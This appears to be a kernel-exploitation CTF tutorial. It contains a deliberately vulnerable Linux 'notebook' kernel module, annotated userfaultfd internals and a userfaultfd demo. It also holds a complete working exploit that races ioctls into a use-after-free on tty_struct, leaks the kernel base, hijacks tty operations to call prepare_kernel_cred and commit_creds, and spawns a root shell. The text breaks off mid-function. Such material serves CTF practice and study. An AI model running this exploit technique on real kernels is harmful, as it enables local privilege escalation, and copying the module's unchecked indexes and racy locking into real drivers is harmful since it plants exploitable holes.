/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on QWB2021 - notebook
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/rwlock.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define NOTE_ADD 0x100
#define NOTE_DEL 0x200
#define NOTE_EDIT 0x300
#define NOTE_GIFT 0x64

struct note_t {
	char *note;
	size_t size;
};

struct usernote_t {
	size_t idx;
	size_t size;
	char *buf;
};

static char name[0x101] = { 0 };
static struct note_t notebook[0x10] = { 0 };

static rwlock_t notebook_rwlock;
static unsigned int major;
static struct class *notebook_class;
static struct cdev notebook_cdev;

static int notebook_open(struct inode *inode, struct file *filp)
{
	pr_info("[notebook:] Device open.\n");
	return 0;
}

static int notebook_release(struct inode *inode, struct file *filp)
{
	pr_info("[notebook:] Device release.\n");
	return 0;
}

ssize_t notebook_read(struct file *file, char __user *buf, size_t idx,
		      loff_t *pos)
{
	if (idx > 0x10) {
		pr_info("[notebook:] Read idx out of range.\n");
		return -EPERM;
	}
	if (copy_to_user(buf, notebook[idx].note, notebook[idx].size)) {
		pr_info("[notebook:] Read failed.\n");
		return -EFAULT;
	}
	pr_info("[notebook:] Read success.\n");
	return 0;
}

ssize_t notebook_write(struct file *file, const char __user *buf, size_t idx,
		       loff_t *pos)
{
	if (idx > 0x10) {
		pr_info("[notebook:] Write idx out of range.\n");
		return -EPERM;
	}
	if (copy_from_user(notebook[idx].note, buf, notebook[idx].size)) {
		pr_info("[notebook:] Write failed.\n");
		return -EFAULT;
	}
	pr_info("[notebook:] Write success.\n");
	return 0;
}

static long note_add(size_t idx, size_t new_size, void *buf)
{
	size_t old_size = 0;
	if (idx > 0x10) {
		pr_info("[notebook:] Add idx out of range.\n");
		return -EPERM;
	}
	read_lock(&notebook_rwlock);
	old_size = notebook[idx].size;
	notebook[idx].size = new_size;
	if (new_size > 0x60) {
		notebook[idx].size = old_size;
		pr_info("[notebook:] Add size out of range.\n");
		return -EPERM;
	}
	if (copy_from_user(name, buf, 0x100)) {
		notebook[idx].size = old_size;
		pr_info("[notebook:] Error copy name from user.\n");
		read_unlock(&notebook_rwlock);
		return -EFAULT;
	}
	if (notebook[idx].note) {
		notebook[idx].size = old_size;
		pr_info("[notebook:] Add idx is not empty.\n");
		read_unlock(&notebook_rwlock);
		return -EFAULT;
	}
	notebook[idx].note = (char *)kmalloc(new_size, GFP_KERNEL);
	pr_info("[notebook:] Add success. %s left a note.\n", name);
	read_unlock(&notebook_rwlock);
	return 0;
}

static long note_del(size_t idx)
{
	if (idx > 0x10) {
		pr_info("[notebook:] Delete idx out of range.\n");
		return -EPERM;
	}
	write_lock(&notebook_rwlock);
	kfree(notebook[idx].note);
	if (notebook[idx].size) {
		notebook[idx].size = 0;
		notebook[idx].note = NULL;
	}
	pr_info("[notebook:] Delete success.\n");
	write_unlock(&notebook_rwlock);
	return 0;
}

static long note_edit(size_t idx, size_t new_size, void *buf)
{
	char *note = NULL;
	if (idx > 0x10) {
		pr_info("[notebook:] Edit idx out of range.\n");
		return -EPERM;
	}
	read_lock(&notebook_rwlock);
	notebook[idx].size = new_size;
	note = (char *)krealloc(notebook[idx].note, new_size, GFP_KERNEL);
	if (!note) {
		pr_info("[notebook:] Return ptr unvalid.\n");
		read_unlock(&notebook_rwlock);
		return 3;
	}
	if (copy_from_user(name, buf, 0x100)) {
		pr_info("[notebook:] Error copy name from user.\n");
		read_unlock(&notebook_rwlock);
		return -EFAULT;
	}
	if (notebook[idx].size) {
		notebook[idx].note = note;
		pr_info("[notebook:] Edit success. %s edit a note.\n", name);
		read_unlock(&notebook_rwlock);
		return 2;
	}
	pr_info("[notebook:] free in fact.");
	notebook[idx].note = NULL;
	read_unlock(&notebook_rwlock);
	return 0;
}

static long note_gift(void *buf)
{
	pr_info("[notebook:] The notebook needs to be written "
		"from beginning to end.\n");
	if (copy_to_user(buf, &notebook, 0x100)) {
		pr_info("[notebook:] Error copy data to user.\n");
		return -EFAULT;
	}
	pr_info("[notebook:] For this special year, I give you a gift!\n");
	return 0x64;
}

static long notebook_ioctl(struct file *file, unsigned int cmd,
			   unsigned long arg)
{

	long ret = 0;
	size_t idx = 0;
	size_t size = 0;
	char *buf = NULL;
	size_t usernote_size = 0;
	struct usernote_t user_note = { 0 };
	usernote_size = sizeof(struct usernote_t);
	if (copy_from_user(&user_note, (void *)arg, usernote_size)) {
		pr_info("[notebook:] Error copy data from user.\n");
		return -EFAULT;
	}
	idx = user_note.idx;
	size = user_note.size;
	buf = user_note.buf;
	switch (cmd) {
	case NOTE_ADD:
		ret = note_add(idx, size, buf);
		break;
	case NOTE_DEL:
		ret = note_del(idx);
		break;
	case NOTE_EDIT:
		ret = note_edit(idx, size, buf);
		break;
	case NOTE_GIFT:
		ret = note_gift(buf);
		break;
	default:
		pr_info("[notebook:] Unknown ioctl cmd!\n");
		ret = -EINVAL;
	}
	return ret;
}

struct file_operations notebook_fops = {
	.owner = THIS_MODULE,
	.open = notebook_open,
	.release = notebook_release,
	.read = notebook_read,
	.write = notebook_write,
	.unlocked_ioctl = notebook_ioctl,
};

static char *notebook_devnode(struct device *dev, umode_t *mode)
{
	if (mode)
		*mode = 0666;
	return NULL;
}

static int __init init_notebook(void)
{
	struct device *notebook_device;
	int error;
	dev_t devt = 0;

	rwlock_init(&notebook_rwlock);
	error = alloc_chrdev_region(&devt, 0, 1, "notebook");
	if (error < 0) {
		pr_err("[notebook:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[notebook:] notebook major number = %d.\n", major);

	notebook_class = class_create(THIS_MODULE, "notebook_class");
	if (IS_ERR(notebook_class)) {
		pr_err("[notebook:] Error creating notebook class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(notebook_class);
	}
	notebook_class->devnode = notebook_devnode;

	cdev_init(&notebook_cdev, &notebook_fops);
	notebook_cdev.owner = THIS_MODULE;
	cdev_add(&notebook_cdev, devt, 1);
	notebook_device =
	    device_create(notebook_class, NULL, devt, NULL, "notebook");
	if (IS_ERR(notebook_device)) {
		pr_err("[notebook:] Error creating notebook device!\n");
		class_destroy(notebook_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	pr_info("[notebook:] notebook module loaded.\n");
	pr_info("[notebook:] Welcome to BrokenNotebook!\n");
	return 0;
}

static void __exit exit_notebook(void)
{
	int i;
	for (i = 0; i < 0x10; i++) {
		if (notebook[i].note) {
			kfree(notebook[i].note);
		}
	}
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(notebook_class, MKDEV(major, 0));
	cdev_del(&notebook_cdev);
	class_destroy(notebook_class);
	pr_info("[notebook:] notebook module unloaded.\n");
}

module_init(init_notebook);
module_exit(exit_notebook);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

struct note_t {
    char *note;  // 指向便签内容的堆指针
    size_t size; // 便签内容大小
};
static char name[0x101] = { 0 };                // 全局名称缓冲区
static struct note_t notebook[0x10] = { 0 };    // 16个便签的数组
static rwlock_t notebook_rwlock;               // 读写锁，保护notebook数组

static long note_add(size_t idx, size_t new_size, void *buf)

static long note_del(size_t idx)

static long note_edit(size_t idx, size_t new_size, void *buf)

static long note_gift(void *buf)

// fs/userfaultfd.c
SYSCALL_DEFINE1(userfaultfd, int, flags)
{
    return sys_userfaultfd(flags);
}

static int sys_userfaultfd(int flags)
{
    // 创建userfaultfd对象
    struct userfaultfd_ctx *ctx;
    int fd;

    // 分配上下文
    ctx = kmem_cache_alloc(userfaultfd_ctx_cachep, GFP_KERNEL);

    // 初始化上下文
    init_userfaultfd_ctx(ctx);

    // 创建匿名inode和文件描述符
    fd = anon_inode_getfd("[userfaultfd]", &userfaultfd_fops, ctx, flags);

    return fd;
}

// 用户空间ioctl(UFFDIO_REGISTER)调用
static long userfaultfd_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    switch (cmd) {
    case UFFDIO_REGISTER: {
        struct uffdio_register uffdio_register;

        // 复制用户参数
        if (copy_from_user(&uffdio_register, (void __user *)arg, sizeof(uffdio_register)))
            return -EFAULT;

        // 调用注册函数
        ret = userfaultfd_register(ctx, uffdio_register.mode, &uffdio_register.range);

        break;
    }
    // 其他命令处理...
    }
}

// 注册前后VMA标志位变化
// 注册前: vma->vm_flags = VM_READ | VM_WRITE | VM_MAYREAD | VM_MAYWRITE
// 注册后: vma->vm_flags |= VM_UFFD_MISSING

// 注册范围被添加到上下文链表
struct userfaultfd_range range = {
    .start = uffdio_register.range.start,
    .len = uffdio_register.range.len,
    .mode = uffdio_register.mode
};
list_add_tail(&range.list, &ctx->ranges);

// 缺页异常触发时的处理
vm_fault_t handle_userfault(struct vm_fault *vmf, unsigned long reason)
{
    struct vm_area_struct *vma = vmf->vma;
    struct userfaultfd_ctx *ctx;

    // 获取userfaultfd上下文
    ctx = vma->vm_userfaultfd_ctx.ctx;

    // 初始化缺页事件
    init_userfaultfd_wait(&uwq);

    // 将缺页事件加入队列
    spin_lock(&ctx->fault_pending_wqh.lock);
    list_add_tail(&uwq.wq.entry, &ctx->fault_pending_wqh.head);
    spin_unlock(&ctx->fault_pending_wqh.lock);

    // 唤醒userfaultfd监控线程
    wake_up_all(&ctx->fault_wqh);

    // 挂起当前线程，等待用户空间处理
    for (;;) {
        set_current_state(TASK_KILLABLE);

        // 检查是否收到信号
        if (fatal_signal_pending(current)) {
            ret = VM_FAULT_SIGBUS;
            break;
        }

        // 检查用户空间是否已处理
        if (uwq.state == UFFD_STATE_WAKE) {
            ret = 0;
            break;
        }

        // 调度其他进程
        schedule();
    }

    return ret;
}

// 初始化等待结构
struct userfaultfd_wait_queue uwq;
init_userfaultfd_wait(&uwq);
uwq.ctx = ctx;
uwq.msg = msg;

// 加入等待队列
spin_lock(&ctx->fault_pending_wqh.lock);
list_add_tail(&uwq.wq.entry, &ctx->fault_pending_wqh.head);
spin_unlock(&ctx->fault_pending_wqh.lock);

// 唤醒监控线程
wake_up_all(&ctx->fault_wqh);

// 用户空间ioctl(UFFDIO_COPY)调用
static int userfaultfd_copy(struct userfaultfd_ctx *ctx,
                           unsigned long arg)
{
    struct uffdio_copy uffdio_copy;

    // 复制用户参数
    if (copy_from_user(&uffdio_copy, (void __user *)arg, sizeof(uffdio_copy)))
        return -EFAULT;

    // 执行原子复制
    ret = mcopy_atomic(ctx->mm, uffdio_copy.dst, uffdio_copy.src,
                       uffdio_copy.len);

    // 唤醒等待的线程
    wake_userfault(ctx, &range);

    return ret;
}

// mcopy_atomic()的核心操作
static int mcopy_atomic(struct mm_struct *dst_mm, unsigned long dst_start,
                       unsigned long src_start, unsigned long len)
{
    // 1. 分配物理页面
    page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, dst_vma, dst_addr);

    // 2. 复制数据
    kaddr = kmap_atomic(page);
    copy_from_user(kaddr, (const void __user *)src_start, PAGE_SIZE);
    kunmap_atomic(kaddr);

    // 3. 建立页表映射
    pte = pte_offset_map_lock(dst_mm, dst_pmd, dst_addr, &ptl);
    set_pte_at(dst_mm, dst_addr, pte, mk_pte(page, dst_vma->vm_page_prot));
    pte_unmap_unlock(pte, ptl);

    return 0;
}

struct userfaultfd_ctx {
    struct list_head list;              // 全局链表节点
    struct mm_struct *mm;               // 关联的内存描述符
    int flags;                          // 标志位

    // 等待队列头
    wait_queue_head_t fault_wqh;        // 等待缺页事件
    wait_queue_head_t fault_pending_wqh; // 等待处理中的缺页
    wait_queue_head_t event_wqh;        // 等待其他事件

    // 注册的内存区域链表
    struct list_head ranges;            // 注册范围链表

    // 引用计数
    atomic_t refcount;                  // 原子引用计数
    struct kref kref;                   // 内核引用计数

    // 统计信息
    atomic_t msg_count;                 // 消息计数
    bool released;                      // 是否已释放
};

struct userfaultfd_wait_queue {
    struct list_head wq;                // 等待队列链表节点
    struct task_struct *task;           // 等待的任务结构
    struct userfaultfd_ctx *ctx;        // 关联的上下文
    bool waken;                         // 是否已被唤醒
    enum userfaultfd_state state;       // 状态枚举
    struct userfaultfd_msg msg;         // 缺页消息内容

    // 缺页地址信息
    unsigned long address;              // 触发缺页的地址
    unsigned long flags;                // 缺页标志位
    unsigned long features;             // 支持的特性
};

struct userfaultfd_range {
    struct list_head list;              // 链表节点
    unsigned long start;                // 起始地址（页对齐）
    unsigned long len;                  // 长度（页对齐）
    unsigned long mode;                 // 监控模式标志

    // 关联的VMA信息
    struct vm_area_struct *vma;         // 对应的VMA指针
    struct mm_struct *mm;               // 内存描述符

    // 状态信息
    bool registered;                    // 是否已注册
    atomic_t refcount;                  // 引用计数
};

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>

#define PAGE_SIZE 4096
#define UFFD_BUFFER_SIZE (PAGE_SIZE * 4)

// 全局变量
static int uffd = -1;           // userfaultfd文件描述符
static char *uffd_buffer = NULL; // 监控的内存区域
static pthread_t monitor_thread; // 监控线程

// 监控线程函数，处理缺页事件
static void *uffd_monitor_thread_func(void *arg) {
    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    printf("[监控线程] 开始监听缺页事件...\n");

    // 循环读取缺页事件
    while (1) {
        // 读取缺页事件
        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0) {
            printf("[监控线程] userfaultfd关闭\n");
            return NULL;
        }

        if (nread < 0) {
            if (errno == EAGAIN || errno == EWOULDBLOCK) {
                continue;
            }
            perror("读取userfaultfd失败");
            return NULL;
        }

        // 检查是否为缺页事件
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            printf("[监控线程] 收到非缺页事件: %u\n", msg.event);
            continue;
        }

        // 提取缺页信息
        unsigned long fault_addr = msg.arg.pagefault.address;
        unsigned flags = msg.arg.pagefault.flags;

        printf("[监控线程] 缺页事件:\n");
        printf("  地址: 0x%lx (偏移: 0x%lx)\n",
               fault_addr, fault_addr - (unsigned long)uffd_buffer);
        printf("  类型: %s\n", (flags & UFFD_PAGEFAULT_FLAG_WRITE) ? "写" : "读");

        // 计算缺页地址对应的页面起始地址
        unsigned long page_start = fault_addr & ~(PAGE_SIZE - 1);

        // 准备页面数据
        char *page_data = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page_data == MAP_FAILED) {
            perror("分配页面数据失败");
            continue;
        }

        // 填充页面内容
        snprintf(page_data, PAGE_SIZE,
                "这是页面地址 0x%lx 的内容\n"
                "缺页地址: 0x%lx\n"
                "访问类型: %s\n"
                "线程ID: %ld\n"
                "时间: %ld\n",
                page_start, fault_addr,
                (flags & UFFD_PAGEFAULT_FLAG_WRITE) ? "写操作" : "读操作",
                syscall(SYS_gettid), time(NULL));

        // 使用UFFDIO_COPY填充页面
        uffdio_copy.dst = page_start;
        uffdio_copy.src = (unsigned long)page_data;
        uffdio_copy.len = PAGE_SIZE;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;

        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            perror("UFFDIO_COPY失败");
        } else {
            printf("[监控线程] 成功处理缺页，填充页面 0x%lx\n", page_start);
        }

        // 清理临时页面
        munmap(page_data, PAGE_SIZE);
    }

    return NULL;
}

// 初始化userfaultfd
static int init_userfaultfd(void) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int ret;

    // 1. 创建userfaultfd文件描述符
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd < 0) {
        perror("创建userfaultfd失败");
        return -1;
    }
    printf("[初始化] 创建userfaultfd成功，fd=%d\n", uffd);

    // 2. 设置API版本
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
        perror("设置UFFDIO_API失败");
        close(uffd);
        return -1;
    }
    printf("[初始化] 设置API版本: %llu\n", uffdio_api.api);

    // 3. 分配监控内存区域
    uffd_buffer = mmap(NULL, UFFD_BUFFER_SIZE, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_buffer == MAP_FAILED) {
        perror("分配监控内存失败");
        close(uffd);
        return -1;
    }
    printf("[初始化] 分配监控内存: 0x%lx-0x%lx (%lu字节)\n",
           (unsigned long)uffd_buffer,
           (unsigned long)uffd_buffer + UFFD_BUFFER_SIZE,
           UFFD_BUFFER_SIZE);

    // 4. 立即解除映射，使内存区域处于未映射状态
    if (madvise(uffd_buffer, UFFD_BUFFER_SIZE, MADV_DONTNEED) == -1) {
        perror("MADV_DONTNEED失败");
    }
    printf("[初始化] 内存区域已标记为未映射\n");

    // 5. 注册内存区域
    uffdio_register.range.start = (unsigned long)uffd_buffer;
    uffdio_register.range.len = UFFD_BUFFER_SIZE;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;

    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        perror("注册内存区域失败");
        munmap(uffd_buffer, UFFD_BUFFER_SIZE);
        close(uffd);
        return -1;
    }
    printf("[初始化] 注册内存区域成功\n");
    printf("  支持的ioctl: 0x%llx\n", uffdio_register.ioctls);

    // 6. 创建监控线程
    ret = pthread_create(&monitor_thread, NULL, uffd_monitor_thread_func, NULL);
    if (ret != 0) {
        fprintf(stderr, "创建监控线程失败: %s\n", strerror(ret));
        ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_register.range);
        munmap(uffd_buffer, UFFD_BUFFER_SIZE);
        close(uffd);
        return -1;
    }
    printf("[初始化] 监控线程已启动\n");

    return 0;
}

// 触发缺页访问的函数
static void trigger_page_fault(int index) {
    char *addr = uffd_buffer + (index * PAGE_SIZE);

    printf("\n[触发线程] 尝试访问地址: 0x%lx (页面 %d)\n",
           (unsigned long)addr, index);

    // 触发读访问
    printf("[触发线程] 读取内存...\n");
    char value = *addr;  // 这会触发缺页异常
    printf("[触发线程] 读取完成: 字符='%c' (ASCII=%d)\n",
           (value >= 32 && value <= 126) ? value : '.', value);

    // 触发写访问
    printf("[触发线程] 写入内存...\n");
    *addr = 'X';  // 这会触发缺页异常
    printf("[触发线程] 写入完成\n");

    // 验证写入结果
    printf("[触发线程] 验证写入: 字符='%c'\n", *addr);
}

// 主函数
int main(int argc, char *argv[]) {
    printf("=== userfaultfd 使用示例 ===\n\n");

    // 1. 初始化userfaultfd
    if (init_userfaultfd() != 0) {
        fprintf(stderr, "初始化失败\n");
        return 1;
    }

    // 2. 等待监控线程就绪
    sleep(1);

    // 3. 触发多次缺页访问
    printf("\n=== 开始触发缺页访问 ===\n");

    // 访问不同页面
    for (int i = 0; i < 3; i++) {
        printf("\n--- 测试页面 %d ---\n", i);
        trigger_page_fault(i);
        sleep(1);  // 给监控线程处理时间
    }

    // 4. 清理资源
    printf("\n=== 清理资源 ===\n");

    // 注销内存区域
    struct uffdio_register uffdio_register = {
        .range.start = (unsigned long)uffd_buffer,
        .range.len = UFFD_BUFFER_SIZE
    };

    if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_register.range) == -1) {
        perror("注销内存区域失败");
    } else {
        printf("[清理] 已注销内存区域\n");
    }

    // 关闭userfaultfd（这会使得监控线程的read返回0）
    close(uffd);
    printf("[清理] 已关闭userfaultfd文件描述符\n");

    // 等待监控线程结束
    pthread_join(monitor_thread, NULL);
    printf("[清理] 监控线程已结束\n");

    // 释放内存
    if (uffd_buffer) {
        munmap(uffd_buffer, UFFD_BUFFER_SIZE);
        printf("[清理] 已释放监控内存\n");
    }

    printf("\n=== 示例完成 ===\n");
    return 0;
}

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
  asm volatile("mov user_cs, cs;"
               "mov user_ss, ss;"
               "mov user_sp, rsp;"
               "pushf;"
               "pop user_rflags;");
  log.info("Status has been saved.");
}

int flag_fd;
void get_root_shell(void) {
  char flag[0x100] = {0};
  if (getuid()) {
    log.error("Failed to get the root!");
    exit(-1);
  }

  log.success("Successful to get the root. Execve root shell now...");
  flag_fd = open("/root/flag", O_RDONLY);
  if (flag_fd < 0) {
    log.error("failed to open /root/flag!");
    exit(-1);
  }
  read(flag_fd, flag, sizeof(flag) - 1);
  log.success("Got flag: %s", flag);
  system("/bin/sh");
}

void bind_core(int core) {
  cpu_set_t cpu_set;

  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  log.info("Process binded to core %d", core);
}

/**
 * kernel-relaetd numerical value
 **/
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
#define TTY_STRUCT_SIZE 0x2c0

#define PTM_UNIX98_OPS 0xffffffff82071aa0
#define PTY_UNIX98_OPS 0xffffffff82071980
#define COMMIT_CREDS 0xffffffff8107f6f0
#define PREPARE_KERNEL_CRED 0xffffffff8107f9c0
#define WORK_FOR_CPU_FN 0xffffffff81074e80

/**
 * Syscall userfaultfd() operator
 **/
char fault_page_for_stuck[0x1000];

void register_userfaultfd(pthread_t *monitor_thread, void *addr,
                          unsigned long len, void *(*handler)(void *)) {
  long uffd;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int ret;

  /* Create and enable userfaultfd object */
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) {
    log.error("call userfaultfd failed!");
    exit(-1);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
    log.error("call ioctl UFFDIO_API failed!");
    exit(-1);
  }

  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
    log.error("call ioctl UFFDIO_REGISTER failed!");
    exit(-1);
  }

  ret = pthread_create(monitor_thread, NULL, handler, (void *)uffd);
  if (ret != 0) {
    log.error("create monitor thread failed!");
    exit(-1);
  }
}

void *uffd_handler_for_stucking_thread(void *args) {
  struct uffd_msg msg;
  int fault_cnt = 0;
  long uffd;

  struct uffdio_copy uffdio_copy;
  ssize_t nread;

  uffd = (long)args;

  for (;;) {
    struct pollfd pollfd;
    int nready;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);

    if (nready == -1) {
      log.error("poll failed!");
      exit(-1);
    }

    nread = read(uffd, &msg, sizeof(msg));

    /* just stuck there is okay... */
    sleep(100000000);

    if (nread == 0) {
      log.error("read EOF on userfaultfd!");
      exit(-1);
    }

    if (nread == -1) {
      log.error("read error on userfaultfd!");
      exit(-1);
    }

    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      log.error("Get unexpected event on userfaultfd!");
      exit(-1);
    }

    uffdio_copy.src = (unsigned long long)fault_page_for_stuck;
    uffdio_copy.dst =
        (unsigned long long)msg.arg.pagefault.address & ~(0x1000 - 1);
    uffdio_copy.len = 0x1000;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
      log.error("call ioctl UFFDIO_COPY failed!");
      exit(-1);
    }

    return NULL;
  }
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
                                              void *buf, unsigned long len) {
  register_userfaultfd(monitor_thread, buf, len,
                       uffd_handler_for_stucking_thread);
}

/**
 * Challenge interactor
 **/
#define NOTE_NUM 0x10
struct note_t {
  char *note;
  size_t size;
};

struct usernote_t {
  size_t idx;
  size_t size;
  char *buf;
};

int note_fd;
sem_t evil_add_sem, evil_edit_sem;
char *uffd_buf;
char fault_page[0x1000] = {"BinRacer"};

ssize_t notebook_read(int idx, void *buf) { return read(note_fd, buf, idx); }

ssize_t notebook_write(int idx, void *buf) { return write(note_fd, buf, idx); }

void note_add(size_t idx, size_t size, char *buf) {
  struct usernote_t note = {
      .idx = idx,
      .size = size,
      .buf = buf,
  };

  ioctl(note_fd, 0x100, &note);
}

void note_del(size_t idx) {
  struct usernote_t note = {
      .idx = idx,
  };

  ioctl(note_fd, 0x200, &note);
}

void note_edit(size_t idx, size_t size, char *buf) {
  struct usernote_t note = {
      .idx = idx,
      .size = size,
      .buf = buf,
  };

  ioctl(note_fd, 0x300, &note);
}

void note_gift(void *buf) {
  struct usernote_t note = {
      .buf = buf,
  };

  ioctl(note_fd, 0x64, &note);
}

void *fix_size_by_add(void *args) {
  sem_wait(&evil_add_sem);
  note_add(0, 0x60, uffd_buf);
}

void *construct_uaf(void *args) {
  sem_wait(&evil_edit_sem);
  note_edit(0, 0, uffd_buf);
}

int main() {
  struct note_t kernel_notebook[NOTE_NUM];
  pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;
  size_t orig_tty_struct[TTY_STRUCT_SIZE / 8] = {0};
  size_t fake_tty_struct[TTY_STRUCT_SIZE / 8] = {0};
  size_t tty_struct_addr = 0;
  int tty_fd;

  /* fundamental infastructure */
  save_status();
  bind_core(0);

  sem_init(&evil_add_sem, 0, 0);
  sem_init(&evil_edit_sem, 0, 0);

  /* open dev */
  note_fd = open("/dev/notebook", O_RDWR);
  if (note_fd < 0) {
    log.error("open /dev/notebook failed!");
    exit(-1);
  }

  /* register userfaultfd */
  log.info("register userfaultfd...");

  uffd_buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf,
                                           0x1000);

  /* get a tty-size object */
  log.info("allocating tty_struct-size object...");

  note_add(0, 0x10, "BinRacerBinRacer");
  note_edit(0, TTY_STRUCT_SIZE, fault_page);

  /**
   * construct UAF by userfaultfd.
   * Note that we need to sleep(1) there to wait for the kfree() to be done,
   * so that the UAF object can be regetted later.
   */
  log.info("constructing UAF on tty_struct...");

  pthread_create(&edit_uaf_thread, NULL, construct_uaf, NULL);
  pthread_create(&add_fix_size_thread, NULL, fix_size_by_add, NULL);

  sem_post(&evil_edit_sem);
  sleep(1);

  /**
   * fix notebook[0]->size.
   * Note that we need to sleep(1) there to wait for the `size` to be fixed.
   */
  sem_post(&evil_add_sem);
  sleep(1);

  log.info("leaking kernel address...");

  tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
  if (tty_fd < 0) {
    log.error("open /dev/ptmx failed!");
    exit(-1);
  }

  notebook_read(0, orig_tty_struct);
  if (*(int *)orig_tty_struct != 0x5401) {
    log.error("Try Again!");
    exit(-1);
  }

  if ((orig_tty_struct[3] & 0xfff) == (PTY_UNIX98_OPS & 0xfff)) {
    kernel_offset = orig_tty_struct[3] - PTY_UNIX98_OPS;
    kernel_base += kernel_offset;
    log.success("leak pty_unix98_ops: 0x%lx", orig_tty_struct[3]);
  }

  if ((orig_tty_struct[3] & 0xfff) == (PTM_UNIX98_OPS & 0xfff)) {
    kernel_offset = orig_tty_struct[3] - PTM_UNIX98_OPS;
    kernel_base += kernel_offset;
    log.success("leak ptm_unix98_ops: 0x%lx", orig_tty_struct[3]);
  }

  tty_struct_addr = orig_tty_struct[0x38 / 8] - 0x38;
  log.success("leak tty_struct heap addr: 0x%lx", tty_struct_addr);
  log.success("Kernel base: 0x%lx", kernel_base);
  log.success("Kernel offset: 0x%lx", kernel_offset);

  memcpy((void *)fake_tty_struct, (void *)orig_tty_struct, TTY_STRUCT_SIZE);
  log.info("changing the tty_struct->ops...");
  fake_tty_struct[3] = tty_struct_addr - 0x8;
  // Change the ioctl of tty_operations to work_for_cpu_fn function
  log.info("changing the tty_operations->ioctl");
  fake_tty_struct[11] = kernel_offset + WORK_FOR_CPU_FN;
  fake_tty_struct[4] = kernel_offset + PREPARE_KERNEL_CRED;
  fake_tty_struct[5] = (size_t)NULL;

  log.info("writing changed tty_struct...");
  notebook_write(0, fake_tty_struct);
  log.info("triger prepare_kernel_cred(NULL)...");
  ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

  log.info("reading return value of prepare_kernel_cred(NULL)...");
  notebook_read(0, fake_tty_struct);
  log.info("writing changed tty_struct again...");
  fake_tty_struct[4] = kernel_offset + COMMIT_CREDS;
  fake_tty_struct[5] = fake_tty_struct[6];
  notebook_write(0, fake_tty_struct);
  log.info("triger commit_creds(&root_cred)...");
  ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

  log.info("fix the tty_struct...");
  notebook_write(0, orig_tty_struct);

  get_root_shell();
  return 0;
}

/* 注册userfaultfd */
uffd_buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf, 0x1000);

void *uffd_handler_for_stucking_thread(void *args) {
    struct uffd_msg msg;
    long uffd = (long)args;

    for (;;) {
        // 等待缺页事件
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        poll(&pollfd, 1, -1);

        // 读取缺页消息
        read(uffd, &msg, sizeof(msg));

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            log.error("Get unexpected event on userfaultfd!");
            exit(-1);
        }

